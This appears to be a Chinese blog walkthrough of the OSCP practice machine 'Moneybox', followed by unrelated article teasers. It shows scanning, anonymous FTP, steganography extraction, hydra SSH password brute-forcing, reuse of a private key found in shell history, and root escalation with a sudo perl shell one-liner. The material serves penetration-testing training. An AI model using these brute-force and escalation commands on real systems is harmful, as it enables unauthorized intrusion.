OSCP系列靶场-Esay-Moneybox保姆级
OSCP系列靶场-Esay-Moneybox
目录
- OSCP系列靶场-Esay-Moneybox
- 总结
- 准备工作
- 信息收集-端口扫描
- 目标开放端口收集
- 目标端口对应服务探测
- 信息收集-端口测试
- 21-FTP端口的信息收集
- 21-FTP版本版本信息
- 21-FTP端口匿名登录测试(存在)
- 21-FTP端口-文件GET收集
- 21-FTP端口-PUT上传测试
- 22-SSH端口的信息收集
- 22-SSH端口版本信息与MSF利用
- 22-SSH协议支持的登录方式
- 22-SSH手动登录尝试(无)
- 22-SSH弱口令爆破(静静等待)
- 80-HTTP端口的信息收集
- 信息收集-HTML隐藏信息查看
- 信息收集-目录扫描
- 信息收集-目录扫描初步
- 信息收集-目录访问
- /blogs/端点访问
- /S3cr3t-T3xt端点访问
- 漏洞利用-getwebshell
- key利用
- 信息泄露获得用户名
- SSH爆破登录
- 22-SSH账号密码登录
- 内网遨游-getshell
- FLAG1获取
- 信息收集-内网基础信息收集
- 检测Linux操作系统的发行版本
- 检测Linux操作系统的内核版本
- 检测当前用户的权限
- 列举出所有的sudo文件
- 列举出所有suid文件
- /etc/passwd权限收集
- /etc/shadow权限收集
- getcap标志进程收集
- 列举定时任务
- 查看历史信息
- 列举出所有的sudo文件
- 利用sudo -l寻找
- perl权限提升
- FLAG2获取
- 总结
总结
getwebshell : 目录扫描发现目录 → HTML中发现隐藏key → FTP匿名发现图片 → 隐写术解开图片秘密 → 提示用户名爆破 → hyrda爆破ssh进入内部
提 权 思 路 : history发现存在私钥 → 登录其他用户 → perl权限提升
准备工作
- 启动VPN
获取攻击机IP →192.168.45.191

- 启动靶机
获取目标机器IP →192.168.162.230

信息收集-端口扫描
目标开放端口收集
- Nmap开放端口扫描2次(多次扫描减少误扫)
sudo nmap --min-rate 10000 -p- 192.168.162.230PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http

开放的端口-→21,22,80
目标端口对应服务探测
# tcp探测
sudo nmap -sT -sV -O -sC -p21,22,80 192.168.162.230PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))

信息收集-端口测试
21-FTP端口的信息收集
21-FTP版本版本信息
通过Nmap探测获得FTP的版本信息,可以大致推测FTP的配置文件位置
Nmap探测信息为21/tcp open ftp vsftpd 3.0.3
# ftp配置文件位置
/etc/vsftpd.conf
21-FTP端口匿名登录测试(存在)
尝试匿名账号anonymous以及无密码进行登录测试
# 利用ftp协议+ip进行连接测试
ftp 192.168.162.230
Name: anonymous

21-FTP端口-文件GET收集
登录FTP之后利用ls查看存在哪些目录,翻阅的同时查看一下文件权限
利用GET下载文件
# binary 以二进制模式传输文件,保证文件完整
ftp → binary
# 查看目录结构
ftp → ls -al
# cd 查看存储的文件
ftp → cd [file_date_name]
# get 下载文件
ftp → get [file_name]
发现了trytofind.jpg下载到了本地

打开是一张纯粹的图片,推测有隐写术

21-FTP端口-PUT上传测试
测试是否可以利用PUT上传文件
# put 上传文件
ftp → put [file_name]
不具备上传功能

22-SSH端口的信息收集
22-SSH端口版本信息与MSF利用
通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
# 搜索对应脚本
msf6 → searchsploit openssh 7.9
无

22-SSH协议支持的登录方式
通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试
sudo ssh root @192.168.162.230 -v
显示publickey、password就是支持密钥以及密码登录

22-SSH手动登录尝试(无)
因为支持密码登录,尝试root账户的密码弱密码尝试
sudo ssh root @192.168.162.230 -p 22
# 密码尝试
password → root
弱密码尝试失败

22-SSH弱口令爆破(静静等待)
因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6
sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.162.230 ssh -s 22
挂着工具进行爆破,我们尝试后续信息收集

80-HTTP端口的信息收集
访问 http://192.168.162.230:80 不是CMS我们直接从HTML隐藏信息收集开始

网站说很简单,我不信(¬︿̫̿¬☆)
信息收集-HTML隐藏信息查看
# 包括文章中是否写明一些敏感信息
curl http://192.168.162.230:80
无隐藏内容

信息收集-目录扫描
信息收集-目录扫描初步
dirsearch -u http://192.168.162.230:80 -x 302,403

通过扫描发现了一个新的端点/blogs/
因为扫出了目录,深层次的扫描待选
信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)
信息收集-目录访问
/blogs/端点访问
从本文的消息我们可以发现黑客黑入了系统,并说明没有任何的防护设备

curl了一下发现了新的隐藏路径S3cr3t-T3xt

/S3cr3t-T3xt端点访问
提示是没有

再curl了一下,发现了新内容…一个key 3xtr4ctd4t4

漏洞利用-getwebshell
key利用
根据现有内容key应该不代表密码,之前有一张图片可能存在隐写术,推测是它的密码
通过CHATGPT推荐使用工具 steghide

通过chatgpt获取对应的工具使用方式

steghide extract -sf -xf -p
其中:
- `` 是包含隐藏信息的图像文件
- `` 是提取的信息输出文件
- `` 是解密隐藏信息的密码
修改成我们需要的样子
steghide extract -sf trytofind.jpg -xf mian.txt
password → 3xtr4ctd4t4
成功获得main.txt

信息泄露获得用户名
打开发现内容 确定密码很简单并且用户名是renu
Hello..... renuI tell you something Important.Your Password is too Week So Change Your Password
Don't Underestimate it.......

SSH爆破登录
这样我们可以尝试爆破一下renu的账户,利用工具hyrda
# -l 指定用户名 -P指定密码字典
hydra -l renu -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.162.230 ssh -s 22
成功得到了账号密码信息
[22][ssh] host: 192.168.162.230 login: renu password: 987654321

22-SSH账号密码登录
获取账号密码之后利用SSH进行登录
sudo ssh renu @192.168.162.230 -p22
password → 987654321
成功打入内部,第一步完成

内网遨游-getshell
FLAG1获取
renu @MoneyBox:~$ find / -name local.txt 2→/dev/null
/home/renu/local.txt
renu @MoneyBox:~$ cat /home/renu/local.txt
ad71d6f825f157311d017a8bd94a7e03

信息收集-内网基础信息收集
提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备
检测Linux操作系统的发行版本
较老的Ubuntu以及Linux系统可以overlayfs提权
# 确定发行版本
renu @MoneyBox:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 10 (buster)
Release: 10
Codename: buster
发行版本为Debian,不太能overlayfs提权
检测Linux操作系统的内核版本
较低的内核版本可以进行脏牛提权
renu @MoneyBox:~$ uname -a
Linux MoneyBox 4.19.0-22-amd64 #1 SMP Debian 4.19.260-1 (2022-09-29) x86_64 GNU/Linux
内核版本为4.19.0

检测当前用户的权限
renu @MoneyBox:~$ id
uid=1001(renu) gid=1001(renu) groups=1001(renu)
列举出所有的sudo文件
查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找
# 利用sudo -l寻找
sudo -l
发现需要密码,尝试987654321失败

列举出所有suid文件
如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找
# -perm 文件权限
find / -perm -u=s -type f 2→/dev/null

/etc/passwd权限收集
如果/etc/passwd具有写入权限可以尝试覆盖密码提权
renu @MoneyBox:~$ ls -al /etc/passwd
-rw-r--r-- 1 root root 1486 Feb 26 2021 /etc/passwd
/etc/shadow权限收集
- 如果
/etc/shadow具有写入权限可以尝试覆盖密码提权 - 如果
/etc/shadow具有可读权限可以爆破密码
renu @MoneyBox:~$ ls -al /etc/shadow
-rw-r----- 1 root shadow 1095 Oct 11 2022 /etc/shadow
getcap标志进程收集
高版本下suid列举不全,查看getcap
# 探查有CAP_SETUID标志的进程
/usr/sbin/getcap -r / 2→/dev/null

列举定时任务
查找所有的定时任务,并且查看定时任务是否具有修改权限
# 寻找定时任务并修改进行提权
cat /etc/crontab

查看历史信息
可能用户留下的历史信息具有有用的信息
history

发现存在登录到其他用户的历史命令
ssh -i id_rsa lily @192.168.43.8
查看一下本用户/home目录下是否存在SSH密钥

再查看一下lily目录下是否存在authorized keys

确认存在之后尝试登录lily的用户
# 修改一下ip
ssh -i id_rsa lily @ 192.168.162.230
登录成功,准备进行新的信息收集

列举出所有的sudo文件
查找具有sudo权限,且不需要密码的可提权文件
利用sudo -l寻找
lily @MoneyBox:~$ sudo -l
Matching Defaults entries for lily on MoneyBox:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser lily may run the following commands on MoneyBox:(ALL : ALL) NOPASSWD: /usr/bin/perl
看到了内容 会心一笑

perl权限提升
如果发现有东西的话 访问 https://gtfobins.github.io 寻找

sudo perl -e 'exec "/bin/sh";'
找到了提权的命令,提权成功
lily @MoneyBox:~$ sudo perl -e 'exec "/bin/sh";'
# is
/bin/sh: 1: is: not found
# id
uid=0(root) gid=0(root) groups=0(root)

FLAG2获取
# cat /root/proof.txt
7b0bce8f4b59a3db7d173f3e833e50f8
完结撒花~

总结
查看历史记录也是一件很重要的事情
相关文章:
OSCP系列靶场-Esay-Moneybox保姆级
OSCP系列靶场-Esay-Moneybox 目录 OSCP系列靶场-Esay-Moneybox总结准备工作信息收集-端口扫描目标开放端口收集目标端口对应服务探测 信息收集-端口测试21-FTP端口的信息收集21-FTP版本版本信息21-FTP端口匿名登录测试(存在)21-FTP端口-文件GET收集21-FTP端口-PUT上传测试 22-S…...
[python 刷题] 128 Longest Consecutive Sequence
[python 刷题] 128 Longest Consecutive Sequence 题目: Given an unsorted array of integers nums, return the length of the longest consecutive elements sequence. You must write an algorithm that runs in O(n) time. 这题给了一个没有排序的数组&#x…...
SpringMVC之JSON数据返回与异常处理机制
目录 一.SpringMVC的JSON数据返回 1.导入Maven依赖 2.配置spring-mvc.xml 3.ResponseBody注解的使用 3.1案例演示 1.List集合转JSON 2.Map集合转JSON 3.返回指定格式String 4. ResponseBody用法 5.Jackson 5.1介绍 5.2常用注解 二.异常处理机制 1.为什么要全局异常处…...
【第四阶段】kotlin语言的定义类和field关键字学习
1.普通成员变量背后隐士代码 为什么在kotlin中是private 可以直接调用,隐式代码如下 package Kotlin.Stage4class Test54{var name"kotlin"/*背后做的事NotNullprivate String name"kotlin";public void setName(NotNull String name){this.na…...
OpenResty使用漏桶算法实现限流
前言 其它项目组需要调用接口,添加接口限流,防止项目被狂掉宕机。生产用了openresty,所以在openresty上添加按接口限流,同时,需按照不同接口有不同的限流规则,使用openresty中内置的漏桶算法方式限流。 漏…...
Activiti源码跟踪之模型Model操作
Activiti源码跟踪之模型Model操作 模型model设计到的表ACT_RE_MODEL、ACT_GE_BYTEARRAY ACT_RE_MODEL表结构: CREATE TABLE ACT_RE_MODEL (ID_ varchar(64) COLLATE utf8_bin NOT NULL,REV_ int(11) DEFAULT NULL,NAME_ varchar(255) COLLATE utf8_bin DEFAULT N…...
C#-WinForm-发送邮件
登录QQ邮箱——设置——开启“POP3/SMTP服务” 登陆QQ邮箱→打开设置→开启“POP3/SMTP服务”,获取“授权码” 简单总结一下: 1、使用SmtpClient发送电子邮件是很简单的,只要正确创建了MailMessage对象和SmtpClient就可以很容易的发送出去电…...
Springboot整合jdbc和Mybatis
目录 整合jdbc 1. 新建项目 2. 编写yaml配置文件连接数据库 3. 测试类 使用原生的jdbcTemplate进行访问测试 使用Druid连接池 1. 添加类型 2. 初始化连接池 3. 编写config类 配置Druid数据源监视 整合Mybatis 1. 导入依赖 2. 编写mapper接口 3. 编写实体类 4. 编…...
日常生活中的常用命令及操作
目录 一、Windows11 中查看网卡名称 及ip地址 二、查看硬件的详细信息 三、查看显卡声卡详细信息及厂商 四、C盘清理 第一步 输入wini 开启Windows设置主界面 第二步 存储中还有一个叫存储感知的功能 第三步 更改新内容的保存位置 第四步 怕误C盘内的东西可以 查看详细的…...
【C++杂货铺】国庆中秋特辑——多态由浅入深详细总结
文章目录 一、多态的概念二、多态的定义及实现2.1 多态的构成条件2.2 虚函数2.3 虚函数的重写2.4 虚函数重写的两个例外2.4.1 协变(基类与派生类虚函数返回值类型不同)2.4.2 析构函数的重写(基类与派生类析构函数的名字不同) 2.5 …...
MongoDB基础详解
一、MongoDB概述 MongoDB 是一个基于 分布式文件存储 的开源 NoSQL 数据库系统,由 C 编写的。MongoDB 提供了 面向文档 的存储方式,操作起来比较简单和容易,支持“无模式”的数据建模,可以存储比较复杂的数据类型,是一…...
解锁前端Vue3宝藏级资料 第五章 Vue 组件应用 4 ( provide 和 inject )
5.5 provide 和 inject 前面的知识告诉我们vue中组件之间传递值需要使用props来完成,但是props也有一定局限性。这个时候在vue3中还有另外的解决方法。那就是使用 provide 和 inject 允许父组件将数据传递给所有后代组件,而不管组件层次结构有多深。你要…...
【List篇】LinkedList 详解
目录 成员变量属性构造方法add(), 插入节点方法remove(), 删除元素方法set(), 修改节点元素方法get(), 取元素方法ArrayList 与 LinkedList的区别Java中的LinkedList是一种实现了List接口的 双向链表数据结构。链表是由一系列 节点(Node)组成的,每个节点包含了指向 上一个…...
推动统一供应链“度量衡”,上汽大通突破传统拥抱SaaS生态
中国汽车市场规模已连续14年位居世界第一,目前占世界汽车份额31%。近年来,物联网、人工智能、电池等技术的快速发展,也为中国从汽车大国逐步迈向汽车强国注入巨大动力。在新一轮的汽车产业变革中,构建一个更智能、更高效协同的供应…...
蓝牙核心规范(V5.4)10.9-BLE 入门笔记之GAP
1.概述 蓝牙核心规范的通用访问配置文件(GAP)部分定义了与设备发现和在两个设备之间建立连接有关的过程。如何执行数据的基本无连接通信、如何使用周期性广播(参见 PADVB-LE Periodic Advertising Broadcast)以及如何设置等时通信(参见 LE BIS和LE CIS - Isochronous Com…...
nginx 配置 ssl
1.1 Nginx如果未开启SSL模块,配置Https时提示错误 原因也很简单,nginx缺少http_ssl_module模块,编译安装的时候带上--with-http_ssl_module配置就行了,但是现在的情况是我的nginx已经安装过了,怎么添加模块࿰…...
家居设计软件Live Home 3D Pro mac中文版特点介绍
Live Home 3D Pro mac是一款专业的3D家居设计软件,可以帮助用户轻松创建和设计家居平面图和3D模型,并进行渲染和虚拟漫游。 Live Home 3D Pro mac软件特点 1. 界面友好:Live Home 3D Pro的界面友好,操作简单方便…...
OkHttp - 现代应用网络的方式
官网:Overview - OkHttp HTTP is the way modern applications network. It’s how we exchange data & media. Doing HTTP efficiently makes your stuff load faster and saves bandwidth. OkHttp is an HTTP client that’s efficient by default: HTTP/2 s…...
SpringBoot3基础:最简项目示例
说明 本文建立一个最基本的SpringBoot3项目,依赖项仅包含 spring-web(SpringMVC)。 备注:SpringBoot3需要JDK17支持,配置方法参考: SpringBoot3项目中配置JDK17 项目结构图示 POM <?xml version&qu…...
flex:1详解,以及flex:1和flex:auto的区别
什么是flex:1? 在css中,我们经常可以看到这样的写法: .box {display: flex; }.item {flex: 1; }这里的flex:1相当于flex: 1 1 0%,它是一个简写属性,表示项目(flex item)在弹性容器…...
浅聊26上半年软考架构师
2026年上半年架构师考试已然落幕,大家都考的如何?架构师共有三门考试,上午综合知识(75道选择题)案例分析,时间为8.30-12.30;下午论文,时间为14.30-16.30。下面说说我整体的备考过程。…...
DeepSeek系统设计辅助:如何在48小时内完成可审计、可回滚、可压测的AI服务架构图?
更多请点击: https://intelliparadigm.com 第一章:DeepSeek系统设计辅助 DeepSeek系统设计辅助模块面向架构师与后端工程师,提供模型能力调用、接口契约生成、异步任务编排等核心支撑能力。该模块不替代人工设计决策,而是通过结构…...
2026年HR招聘偏好白皮书:这5项附加技能出现频率暴涨
2026 年的招聘市场,正在从“看你会什么岗位技能”,转向“看你能不能把岗位做得更智能”。HR筛简历时,越来越关注候选人的AI应用能力、数据化思维和业务落地能力。人社部近年发布的新职业中,已经出现生成式人工智能系统应用员、人工…...
Windows10下V-REP教育版安装保姆级教程(附百度网盘资源与避坑点)
Windows10系统V-REP教育版完整安装指南:从下载到实战避坑在机器人仿真和自动化控制领域,V-REP(现更名为CoppeliaSim)作为一款功能强大的跨平台机器人仿真软件,已经成为众多工科学生和研究人员的首选工具。特别是其教育…...
Burp Suite证书安装全解:HTTPS抓包失败的根源与跨平台命令行方案
1. 为什么必须亲手安装Burp Suite证书——不是“点一下就完事”的操作很多人第一次在手机或测试设备上配置Burp Suite代理时,会下意识认为:只要把电脑上的Burp监听地址填进Wi-Fi代理设置,再用浏览器访问http://burp,点击那个绿色的…...
ComfyUI-Manager完整指南:如何轻松管理你的AI工作流扩展库
ComfyUI-Manager完整指南:如何轻松管理你的AI工作流扩展库 【免费下载链接】ComfyUI-Manager ComfyUI-Manager is an extension designed to enhance the usability of ComfyUI. It offers management functions to install, remove, disable, and enable various c…...
脉冲神经网络加速器设计与边缘计算优化
1. 脉冲神经网络加速器的设计挑战与突破在边缘计算领域,脉冲神经网络(SNN)正以其独特的生物启发特性引发新一轮技术变革。与传统人工神经网络(ANN)相比,SNN通过离散的脉冲信号传递信息,模拟生物神经元的工作机制,理论上可实现超低…...
输电线路在线监测系统|架空线路安全运行的“第一道防线“!
输电线路微气象监测站是专为高压输电线路、电网廊道、杆塔运维量身打造的专利级一体化微气象智能监测设备。依托双专利超声波探测技术、六要素集成传感架构、无启动风速高精测量、智能抗干扰稳控系统,实现输电线路沿线气象24小时全自动捕捉、动态实时监测、大风风险…...
避坑指南:Unity动态加载模型时,TriLib插件材质丢失、缩放异常的5个常见问题解决
Unity动态加载模型避坑指南:TriLib插件材质丢失与缩放异常的深度解决方案当你在Unity项目中尝试使用TriLib插件动态加载外部模型时,是否遇到过这些令人抓狂的情况:模型加载后材质全部变成刺眼的粉红色,贴图神秘消失,或…...
Awoo Installer:让Switch游戏安装变得简单高效的终极解决方案
Awoo Installer:让Switch游戏安装变得简单高效的终极解决方案 【免费下载链接】Awoo-Installer A No-Bullshit NSP, NSZ, XCI, and XCZ Installer for Nintendo Switch 项目地址: https://gitcode.com/gh_mirrors/aw/Awoo-Installer 厌倦了繁琐的Switch游戏安…...
